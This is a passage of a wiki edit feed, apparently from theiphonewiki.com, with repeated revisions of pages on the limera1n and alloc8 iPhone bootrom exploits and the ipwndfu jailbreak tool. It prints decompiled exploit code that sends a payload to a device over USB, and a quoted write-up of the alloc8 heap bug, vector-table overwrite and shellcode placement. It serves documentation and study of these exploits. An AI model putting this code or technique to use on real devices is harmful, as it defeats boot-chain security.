             irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
         irecv_reset(client);&lt;br /&gt;
         irecv_finish_transfer(client);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug) {&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
             if (libpois0n_debug)&lt;br /&gt;
                 fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
 &lt;br /&gt;
         client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
 &lt;br /&gt;
         if (client) {&lt;br /&gt;
             result = 0;&lt;br /&gt;
         } else {&lt;br /&gt;
             if (libpois0n_debug) {&lt;br /&gt;
                 recv_error_code = irecv_strerror(0);&lt;br /&gt;
                 fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
             }&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
             result = -1;&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     // compiler stack check&lt;br /&gt;
     //if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
     //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
 &lt;br /&gt;
     return result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57035</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57035"/>
		<updated>2017-04-12T00:34:04Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch 3rd Generation]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. &lt;br /&gt;
&lt;br /&gt;
limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in April 2017. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains to be the only publicly disclosed bootrom exploit for this device, as well as all other variants of the [[iPhone 4]].&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
 signed int __cdecl upload_exploit() {&lt;br /&gt;
     int device_type;&lt;br /&gt;
     signed int payload_address;&lt;br /&gt;
     int free_address;&lt;br /&gt;
     int deviceerror;&lt;br /&gt;
     char *chunk_headers_ptr;&lt;br /&gt;
     unsigned int sent_counter;&lt;br /&gt;
     //int v6;&lt;br /&gt;
     signed int result; &lt;br /&gt;
     //signed int v8;&lt;br /&gt;
     int recv_error_code;&lt;br /&gt;
     signed int payload_address2;&lt;br /&gt;
     signed int padding_size;&lt;br /&gt;
     char payload;&lt;br /&gt;
     char chunk_headers;&lt;br /&gt;
     //int v14;&lt;br /&gt;
     //v14 = *MK_FP(__GS__, 20);&lt;br /&gt;
     device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
 &lt;br /&gt;
     if ( device_type == 8930 ) {&lt;br /&gt;
         padding_size = 0x2A800;&lt;br /&gt;
         payload_address = 0x8402B001;&lt;br /&gt;
         free_address = 0x8403BF9C;&lt;br /&gt;
     } else {&lt;br /&gt;
         payload_address = 0x84023001;&lt;br /&gt;
         padding_size = 0x22800;&lt;br /&gt;
         // free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
         if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
            else free_address = 84033F98;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     memset(&amp;amp;payload, 0, 0x800);&lt;br /&gt;
     memcpy(&amp;amp;payload, exploit, 0x230);&lt;br /&gt;
 &lt;br /&gt;
     if (libpois0n_debug) {&lt;br /&gt;
         //v8 = payload_address;&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
         //payload_address = v8;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     payload_address2 = payload_address;&lt;br /&gt;
     deviceerror = irecv_reset_counters(client);&lt;br /&gt;
 &lt;br /&gt;
     if ( deviceerror ) {&lt;br /&gt;
         irecv_strerror(deviceerror);&lt;br /&gt;
         fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
         result = -1;&lt;br /&gt;
     } else {&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
         chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
             chunk_headers_ptr += 64;&lt;br /&gt;
         } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         sent_counter = 0;&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             sent_counter += 0x800;&lt;br /&gt;
             irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
         irecv_reset(client);&lt;br /&gt;
         irecv_finish_transfer(client);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug) {&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
             if (libpois0n_debug)&lt;br /&gt;
                 fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
 &lt;br /&gt;
         client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
 &lt;br /&gt;
         if (client) {&lt;br /&gt;
             result = 0;&lt;br /&gt;
         } else {&lt;br /&gt;
             if (libpois0n_debug) {&lt;br /&gt;
                 recv_error_code = irecv_strerror(0);&lt;br /&gt;
                 fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
             }&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
             result = -1;&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     // compiler stack check&lt;br /&gt;
     //if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
     //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
 &lt;br /&gt;
     return result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57034</id>
		<title>Ipwndfu</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57034"/>
		<updated>2017-04-12T00:18:09Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{infobox software&lt;br /&gt;
| name                   = ipwndfu&lt;br /&gt;
| title                  = ipwndfu&lt;br /&gt;
| author                 = axi0mX&lt;br /&gt;
| developer              = axi0mX&lt;br /&gt;
| released               = {{start date and age|2017|04|11}}&lt;br /&gt;
| operating system       = [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [https://github.com/axi0mX/ipwndfu/ GitHub]&lt;br /&gt;
}}&lt;br /&gt;
'''ipwndfu''' is '''axi0mX''''s [[jailbreak]] utility. It uses the [[alloc8 Exploit]] to achieve an [[untethered jailbreak]] or downgrade on all variants of the [[N88AP|iPhone 3GS]].&lt;br /&gt;
&lt;br /&gt;
==Dependencies==&lt;br /&gt;
* libusb&lt;br /&gt;
* pyusb&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
* '''[[User:Geohot|geohot]]''' - [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [https://github.com/axi0mX/ipwndfu/ Official GitHub repository] &lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;br /&gt;
[[Category:Downgrades]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57032</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57032"/>
		<updated>2017-04-12T00:13:42Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public [[untethered]] [[bootrom]] exploit for the '''new [[bootrom]]''' ([[Bootrom 359.3.2]]) [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''[[untethered]]''' downgrades possible on the aforementioned device. It is the most recent publicly disclosed [[bootrom]] exploit.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of alloc8 found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57031</id>
		<title>Ipwndfu</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57031"/>
		<updated>2017-04-12T00:06:59Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{infobox software&lt;br /&gt;
| name                   = ipwndfu&lt;br /&gt;
| title                  = ipwndfu&lt;br /&gt;
| author                 = axi0mX&lt;br /&gt;
| developer              = axi0mX&lt;br /&gt;
| released               = {{start date and age|2017|04|11}}&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 1.0&lt;br /&gt;
| latest release date    = {{start date and age|2017|04|11}}&lt;br /&gt;
| operating system       = [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [https://github.com/axi0mX/ipwndfu/ GitHub]&lt;br /&gt;
}}&lt;br /&gt;
'''ipwndfu''' is '''axi0mX''''s [[jailbreak]] utility. It uses the [[alloc8 Exploit]] to achieve an [[untethered jailbreak]] or downgrade on all variants of the [[N88AP|iPhone 3GS]].&lt;br /&gt;
&lt;br /&gt;
==Dependencies==&lt;br /&gt;
* libusb&lt;br /&gt;
* pyusb&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
* '''[[User:Geohot|geohot]]''' - [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [https://github.com/axi0mX/ipwndfu/ Official GitHub repository] &lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;br /&gt;
[[Category:Downgrades]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57030</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57030"/>
		<updated>2017-04-12T00:03:26Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' ([[Bootrom 359.3.2]]) [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the most recent publicly disclosed bootrom exploit.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of alloc8 found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57029</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57029"/>
		<updated>2017-04-12T00:02:08Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' ([[Bootrom 359.3.2]]) [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the most recent publicly disclosed bootrom exploit.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of alloc8, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
